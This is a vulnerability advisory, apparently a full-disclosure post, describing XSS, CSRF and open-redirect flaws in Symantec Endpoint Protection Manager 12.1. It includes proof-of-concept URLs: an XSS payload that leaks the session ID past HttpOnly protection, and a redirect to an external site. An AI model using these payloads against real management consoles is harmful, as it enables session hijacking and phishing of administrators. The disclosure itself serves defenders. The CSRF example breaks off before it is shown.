  9. Product:
  10. ===========
  11. SEPM
  12. Symantec Endpoint Protection Manager and client v12.1
  13. SEPM provides a centrally managed solution. It handles security policy
  14. enforcement, host integrity checking (Symantec Network Access Control only),
  15. and automated remediation over all clients. The policies functionality is
  16. the heart of the Symantec software. Clients connect to the server to get the
  17. latest policies, security settings, and software updates.
  18. Vulnerability Type(s):
  19. ======================
  20. Multiple Cross Site Scripting (XSS)
  21. Cross Site Request Forgeries (CSRF)
  22. Open Redirect
  23. CVE Reference(s):
  24. =================
  25. CVE-2016-3652 / XSS
  26. CVE-2016-3653 / CSRF
  27. CVE-2016-5304 / Open Redirect
  28. Vulnerability Details:
  29. =====================
  30. The management console for SEPM contains a number of security
  31. vulnerabilities that could be used by a lower-privileged user or by
  32. an unauthorized user to elevate privilege or gain access to unauthorized
  33. information on the management server. Exploitation attempts of
  34. these vulnerabilities requires access to the SEP Management console.

  38. Exploit code(s):
  39. ===============
  40. In this case XSS can bypass the "http-only" cookie protection because the
  41. SEPM application writes and stores the session ID within various
  42. javascript functions used by the application within the DOM thereby
  43. exposing them directly to the XSS attack.
  44. 1) createModalDialogFromURL
  45. 2) createWindowFromURL
  46. 3) createWindowFromForm
  47. 4) createIEWindowFromForm
  48. So all we need to do is alert(createModalDialogFromURL) anyone one of them
  49. (functions) an it will leak the session ID essentially throwing the
  50. HttpOnly secure cookie protection flag into the garbage.
  51. e.g.
  52. XSS POC Defeat http-only flag and access PHPSESSID:
  53. https://localhost:8445/Reporting/Admin/notificationpopup.php?New=1&Type=CR&height=alert%28createModalDialogFromURL%29#
  54. Open Redirect in external URL .php script:
  55. =========================================
  56. A reporting URL used to route generated reports externally to any
  57. authorized URL is susceptible to an open redirect vulnerability
  58. that could have allowed an authorized but less-privileged user to redirect
  59. an unsuspecting privileged user to an external URL to
  60. attempt further exploitation, e.g. phishing.
  61. If a victim clicks on a link supplied by an attacker
  62. e.g.
  63. https://localhost:8445/Reporting/common/externalurl.php?url=http://hyp3rlinx.altervista.org
  64. Cross Site Request Forgery (CSRF):
  65. ==================================
  66. Multiple Cross Site Request Forgery exists in couple of places within this
  67. version of SEPM below is an example of sending scheduled report to
  68. an remote attackers email, if current logged in user visits malicious
  69. webpage or clicks infected link etc...
